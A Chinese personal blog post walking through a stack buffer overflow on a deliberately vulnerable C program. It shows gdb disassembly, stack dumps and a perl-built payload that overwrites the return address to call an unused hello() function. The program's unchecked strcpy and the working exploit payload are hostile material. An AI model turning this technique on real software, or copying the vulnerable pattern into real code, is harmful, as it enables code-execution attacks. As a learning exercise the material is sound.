最近一段时间,在网上搜索关于缓冲区溢出攻击的文章,实验了一下,成功实现了缓冲区溢出攻击,现在把过程记录下来。
#include <stdio.h> #include <string.h> void hello() { printf("hello\n"); } int fun(char *str) { char buf[10]; strcpy(buf, str); printf("%s\n", buf); return 0; } int main(int argc, char **argv) { int i=0; char *str; str=argv[1]; fun(str); return 0; }
上面的代码,并没有调用函数hello,现在通过缓冲区溢出来调用hello函数。
代码保存为test.c,放在/root目录下。
编译test.c
gcc -g -o test test.c
gdb test
反汇编hello、fun、main这三个函数
[root@localhost ~]# gdb test GNU gdb Fedora (6.8-1.fc9) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disass hello Dump of assembler code for function hello: 0x080483f4 <hello+0>: push %ebp 0x080483f5 <hello+1>: mov %esp,%ebp 0x080483f7 <hello+3>: sub $0x8,%esp 0x080483fa <hello+6>: movl $0x8048534,(%esp) 0x08048401 <hello+13>: call 0x8048324 <puts@plt> 0x08048406 <hello+18>: leave 0x08048407 <hello+19>: ret End of assembler dump. (gdb) disass fun Dump of assembler code for function fun: 0x08048408 <fun+0>: push %ebp 0x08048409 <fun+1>: mov %esp,%ebp 0x0804840b <fun+3>: sub $0x18,%esp 0x0804840e <fun+6>: mov 0x8(%ebp),%eax 0x08048411 <fun+9>: mov %eax,0x4(%esp) 0x08048415 <fun+13>: lea -0xa(%ebp),%eax 0x08048418 <fun+16>: mov %eax,(%esp) 0x0804841b <fun+19>: call 0x8048314 <strcpy@plt> 0x08048420 <fun+24>: lea -0xa(%ebp),%eax 0x08048423 <fun+27>: mov %eax,(%esp) 0x08048426 <fun+30>: call 0x8048324 <puts@plt> 0x0804842b <fun+35>: mov $0x0,%eax 0x08048430 <fun+40>: leave 0x08048431 <fun+41>: ret End of assembler dump. (gdb) disass main Dump of assembler code for function main: 0x08048432 <main+0>: lea 0x4(%esp),%ecx 0x08048436 <main+4>: and $0xfffffff0,%esp 0x08048439 <main+7>: pushl -0x4(%ecx) 0x0804843c <main+10>: push %ebp 0x0804843d <main+11>: mov %esp,%ebp 0x0804843f <main+13>: push %ecx 0x08048440 <main+14>: sub $0x14,%esp 0x08048443 <main+17>: movl $0x0,-0xc(%ebp) 0x0804844a <main+24>: mov 0x4(%ecx),%eax 0x0804844d <main+27>: add $0x4,%eax 0x08048450 <main+30>: mov (%eax),%eax 0x08048452 <main+32>: mov %eax,-0x8(%ebp) 0x08048455 <main+35>: mov -0x8(%ebp),%eax 0x08048458 <main+38>: mov %eax,(%esp) 0x0804845b <main+41>: call 0x8048408 <fun> 0x08048460 <main+46>: mov $0x0,%eax 0x08048465 <main+51>: add $0x14,%esp 0x08048468 <main+54>: pop %ecx 0x08048469 <main+55>: pop %ebp 0x0804846a <main+56>: lea -0x4(%ecx),%esp 0x0804846d <main+59>: ret End of assembler dump. (gdb)
获得了hello函数的首地址是0x080483f4,还有main函数中调用fun函数时call的地址是0x0804845b,call的下面一条指令的地址是0x08048460,这些指令的地址都是放在寄存器EIP里的,等会缓冲区溢出的时候,我会用到0x08048460。
列出源代码:
(gdb) l 9 { 10 char buf[10]; 11 strcpy(buf, str); 12 printf("%s\n", buf); 13 return 0; 14 } 15 16 int main(int argc, char **argv) 17 { 18 int i=0; (gdb) 19 char *str; 20 str=argv[1]; 21 fun(str); 22 return 0; 23 } (gdb)
在12、21行设置断点。
(gdb) b 12 Breakpoint 1 at 0x8048420: file test.c, line 12. (gdb) b 21 Breakpoint 2 at 0x8048455: file test.c, line 21. (gdb)
现在输入AAAA来运行,并查看寄存器EBP、ESP。
(gdb) r AAAA Starting program: /root/test AAAA Breakpoint 2, main (argc=2, argv=0xbf999114) at test.c:21 21 fun(str); Missing separate debuginfos, use: debuginfo-install glibc.i686 (gdb) x/x $ebp 0xbf999078: 0xbf9990e8 (gdb) x/8x $esp 0xbf999060: 0x08048034 0x08049690 0xbf999088 0x00000000 0xbf999070: 0xbf9998c0 0xbf999090 0xbf9990e8 0x058f95d6 (gdb)
查看str的地址
(gdb) p str $1 = 0xbf9998c0 "AAAA" (gdb)
单步运行,并查看寄存器
(gdb) si 0x08048458 21 fun(str); (gdb) x/8x $esp 0xbf999060: 0x08048034 0x08049690 0xbf999088 0x00000000 0xbf999070: 0xbf9998c0 0xbf999090 0xbf9990e8 0x058f95d6 (gdb) si 0x0804845b 21 fun(str); (gdb) x/8x $esp 0xbf999060: 0xbf9998c0 0x08049690 0xbf999088 0x00000000 0xbf999070: 0xbf9998c0 0xbf999090 0xbf9990e8 0x058f95d6 (gdb)
看到此时参数str已经压入栈中
再次单步运行
(gdb) si fun (str=0xbf9998c0 "AAAA") at test.c:9 9 { (gdb) x/8x $esp 0xbf99905c: 0x08048460 0xbf9998c0 0x08049690 0xbf999088 0xbf99906c: 0x00000000 0xbf9998c0 0xbf999090 0xbf9990e8 (gdb)
发现main函数中的call的下面一条指令的地址0x08048460也已经压入栈中。
再次单步运行,并查看寄存器内容:
(gdb) n 11 strcpy(buf, str); (gdb) n Breakpoint 1, fun (str=0xbf9998c0 "AAAA") at test.c:12 12 printf("%s\n", buf); (gdb) x/8x $esp 0xbf999040: 0xbf99904e 0xbf9998c0 0x00000000 0x41410000 0xbf999050: 0x00004141 0x08049690 0xbf999078 0x08048460 (gdb)
已经能看到4个41了,A的ASCII码值就是41。
现在在命令行参数,多加几个A,加到14个A,看看运行到12行时,ESP中的内容。
(gdb) r `perl -e 'print "A"x14'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/test `perl -e 'print "A"x14'` Breakpoint 2, main (argc=2, argv=0xbffa6f24) at test.c:21 21 fun(str); (gdb) n Breakpoint 1, fun (str=0xbffa78b6 'A' <repeats 14 times>) at test.c:12 12 printf("%s\n", buf); (gdb) x/8x $esp 0xbffa6e50: 0xbffa6e5e 0xbffa78b6 0x00000000 0x41410000 0xbffa6e60: 0x41414141 0x41414141 0x41414141 0x08048400 (gdb)
此时发现ESP中已经有14个A了,而buf的容量是10个字节。一个A是一个字节。而0x08048460变成了0x08048400,因为0是字符串的结尾。于是,我们只要再多加4个字节,就能覆盖0x08048460了。
(gdb) r `perl -e 'print "A"x18'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/test `perl -e 'print "A"x18'` Breakpoint 2, main (argc=2, argv=0xbfee6d34) at test.c:21 21 fun(str); (gdb) n Breakpoint 1, fun (str=0xbfee7800 "") at test.c:12 12 printf("%s\n", buf); (gdb) x/8x $esp 0xbfee6c60: 0xbfee6c6e 0xbfee78b2 0x00000000 0x41410000 0xbfee6c70: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb)
现在,0x08048400已经被完全覆盖了,都变成了41。
为了让程序进入hello函数,需要把0x08048460改为hello的首地址。
(gdb) r `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/test `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'` Breakpoint 2, main (argc=2, argv=0xbfd70414) at test.c:21 21 fun(str); (gdb) n Breakpoint 1, fun (str=0xbfd71800 "") at test.c:12 12 printf("%s\n", buf); (gdb) n AAAAAAAAAAAAAA魞 13 return 0; (gdb) n 14 } (gdb) n hello () at test.c:4 4 { (gdb)
现在用14个A和hello的首地址,就覆盖了0x08048460。
现在,退出gdb,直接运行,看看效果。
(gdb) q The program is running. Exit anyway? (y or n) y [root@localhost ~]# [root@localhost ~]# ./test `perl -e 'print "A"x14;print "\xf4\x83\x04\x08"'` AAAAAAAAAAAAAA魞 hello 娈甸敊璇 [root@localhost ~]# [root@localhost ~]#
看,输出hello了,成功溢出。
总结,函数调用时,汇编语言里,会有call的指令,call的下面一条指令的地址,会保存到EIP和压入ESP中。我们只需要覆盖那个地址,就能进行缓冲区溢出了。
看了很多文章才看懂的,大学里学的8086汇编语言,总算还记得那么一点,看来以后要多复习了。下一步,就是学会编写shellcode。